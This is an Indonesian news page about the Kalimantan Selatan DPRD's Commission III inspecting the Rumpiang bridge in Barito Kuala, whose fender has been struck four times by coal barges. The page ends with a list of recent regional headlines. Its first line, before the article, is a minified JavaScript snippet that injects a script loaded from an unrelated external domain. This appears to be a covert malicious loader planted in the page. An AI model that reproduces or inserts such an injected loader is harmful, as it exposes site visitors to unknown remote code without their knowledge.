(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Komisi III ke Batola, 4 Kali Fender Jembatan Rumpiang Ditabrak Angkutan Batubara


MARABAHAN, Komisi III DPRD Kalimantan Selatan tinjau rumah warga dan fender jembatan Rumpiang pasca ditabrak tugboat batubara di Kecamatan Marabahan, Kabupaten Barito Kuala, Jum’at (25/10).

Menurut Ketua Komisi III DPRD Kalsel H Sahrujani, kedatangan mereka ke Kabupaten Batola sendiri, dalam rangka meninjau langsung atas masifnya kejadian kapal batubara yang menabrak jembatan hingga rumah milik warga di Batola.

“Ternyata kejadian ini tidak hanya sekali dan sering kali terjadi seperti ini, tidak hanya rumah, jembatan, namun pos jaga milik Dishub Batola juga kena, jadi kami akan mem-follow-up nanti seperti apa aturan dan tindakan yang akan diberlakukan, kita kordinasikan lagi dengan pemerintah daerah hingga pemerintah pusat, agar kejadian seperti ini tidak akan terulang kembali,” jelasnya.

Sementara itu, Kepala TU Balai Besar Pelaksanaan Jalan Nasional Banjarmasin, Mutaal Badrun mengatakan, kejadian tugboat dan tongkang batubara yang menabrak jembatan Rumpiang ini sudah terjadi hingga 4 kali kejadian. Pihaknya meminta para pemilik perusaan dapat mengintruksikan untuk muatan tongkang yang berisi batubara agar diratakan, sehingga melakukan pembatasan volume tongkang sendiri.

“Jadi sejak 2014, 2015, 2017 dan 2019 sudah 4 kali mengganti fender di jembatan Rumpiang ini, kami berharap pihak pandu dalam pelayaran tongkang harus pakai asist, hingga muatan di tongkang diratakan sehingga dapat meminimalisir kejadian ini,” katanya.

Ditanya kapan akan melakukan pemasangan fender yang sebelumnya rusak dan tenggelam akibat dihantam tongkang batubara,  menambahkan, fender pengganti sudah didesain dan ada perkiraan biaya, dan disampaikan dengan pihak perusahaan yang bertanggungjawab.

“Semua sudah kita sampaikan beserta etimasi biayanya kepada pihak yang menabrak, yang tidak kalah penting adalah harus ada MoU ganti rugi atas kerusakan ini kepada mereka, adapun besarnya pergantian fender ini diperkirakan mencapai hingga 2,3 milir,” katanya. (rendy)

Reporter : Rendy
Editor : Bie

Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

15 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

22 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.